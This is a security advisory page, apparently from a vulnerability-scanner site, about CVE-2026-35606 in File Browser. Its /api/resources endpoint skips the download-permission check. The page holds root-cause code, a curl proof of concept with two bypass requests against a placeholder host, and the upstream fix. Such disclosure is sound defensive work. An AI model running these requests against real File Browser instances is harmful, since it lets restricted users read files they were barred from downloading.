CVE-2026-35606 — Vulnerability in filebrowser/filebrowser/v2
File Browser discloses text file content via /api/resources endpoint bypassing Perm.Download check
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.41%). Schedule for your next planned update.
Does your project use an affected github.com/filebrowser/filebrowser/v2 version?
Paste your go.sum to check it for CVE-2026-35606 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The resourceGetHandler in http/resource.go returns full text file content without checking the Perm.Download permission flag. All three other content-serving endpoints (/api/raw, /api/preview, /api/subtitle) correctly verify this permission before serving content. A user with download: false can read any text file within their scope through two bypass paths.
Confirmed on v2.62.2 (commit 860c19d).
Root Cause
http/resource.go line 26-33 hardcodes Content: true in the FileOptions without checking download permission:
file, err := files.NewFileInfo(&files.FileOptions{
...
Content: true, // Always loads text content, no permission check
})
Lines 44-63: the X-Encoding: true header path reads the entire file and returns raw bytes as application/octet-stream, also without any download check.
Compare with the three protected endpoints:
// raw.go:83-85
if !d.user.Perm.Download { return http.StatusAccepted, nil }
// preview.go:38-40
if !d.user.Perm.Download { return http.StatusAccepted, nil }
// subtitle.go:13-15
if !d.user.Perm.Download { return http.StatusAccepted, nil }
PoC
Tested on filebrowser v2.62.2, built from HEAD.
# Create user with download=false via CLI
filebrowser users add restricted testuser123456 --perm.download=false
# Login
TOKEN=$(curl -s http://HOST/api/login -d '{"username":"restricted","password":"testuser123456"}')
# BLOCKED: /api/raw correctly enforces download permission
curl -s -w "\nHTTP: %{http_code}" http://HOST/api/raw/secret.txt -H "X-Auth: $TOKEN"
# → 202 Accepted (empty body)
# BYPASS 1: /api/resources with X-Encoding returns raw file content
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" -H "X-Encoding: true"
# → 200 OK, body: SECRET_PASSWORD=hunter2
# BYPASS 2: /api/resources JSON includes content field
curl -s http://HOST/api/resources/secret.txt -H "X-Auth: $TOKEN" | jq .content
# → "SECRET_PASSWORD=hunter2\n"
Impact
A user with download: false can read the full content of text files within their authorized scope (up to the 10MB detectType limit). This includes source code, configuration files, credentials, and API tokens stored as text.
This bypass does not defeat path authorization. It bypasses only the Download permission for files the user can otherwise address within their authorized scope. The inconsistency across the four content-serving endpoints (three check Perm.Download, one does not) indicates this is an oversight, not a design decision.
Suggested Fix
Match the existing endpoint behavior (HTTP 202 for denied downloads):
Content: d.user.Perm.Download, // Only load content when permitted
And add a guard before the X-Encoding raw byte path, matching the existing 202 pattern:
if !d.user.Perm.Download {
return http.StatusAccepted, nil
}
Update: Fix submitted as PR #5891.
Advisory Timeline
- First published April 8, 2026 (232 days ago).
- Last revised June 25, 2026 — 79 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
go get github.com/filebrowser/filebrowser/v2@v2.63.1
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Go (1).
| Package | Fixed In |
|---|---|
| github.com/filebrowser/filebrowser/v2 Go · Affected: All versions | 2.63.1 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-862Missing AuthorizationMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 4.3 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
References
Frequently Asked Questions
- What is CVE-2026-35606?
- File Browser discloses text file content via /api/resources endpoint bypassing Perm.Download check. This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 4.3/10).
- How do I check if my project is affected by CVE-2026-35606?
- CVE-2026-35606 affects github.com/filebrowser/filebrowser/v2. It has a 0.4% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-35606 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Exploitation requires specific conditions, or the impact is limited.
This is a below-median EPSS score — only 27.3% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-55667HIGH
File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup
- CVE-2026-54091HIGH
File Browser has incorrect access control for public directory shares via rule path rebasing
- CVE-2026-54093MEDIUM
File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames
- CVE-2026-25889MEDIUM
File Browser has an Authentication Bypass in User Password Update
- CVE-2026-54094
File Browser: Symlink following lets scoped users read, overwrite, and share files outside their filebrowser scope in github.com/filebrowser/filebrowser
- CVE-2026-54096
File Browser: Improper Access Control Occurs via Pre-Created Public Share for a Non-existent Path in github.com/filebrowser/filebrowser
- CVE-2026-35605
File Browser has an access rule bypass via HasPrefix without trailing separator in path matching in github.com/filebrowser/filebrowser
- CVE-2026-34529
File Browser is vulnerable to Stored Cross-site Scripting via crafted EPUB file in github.com/filebrowser/filebrowser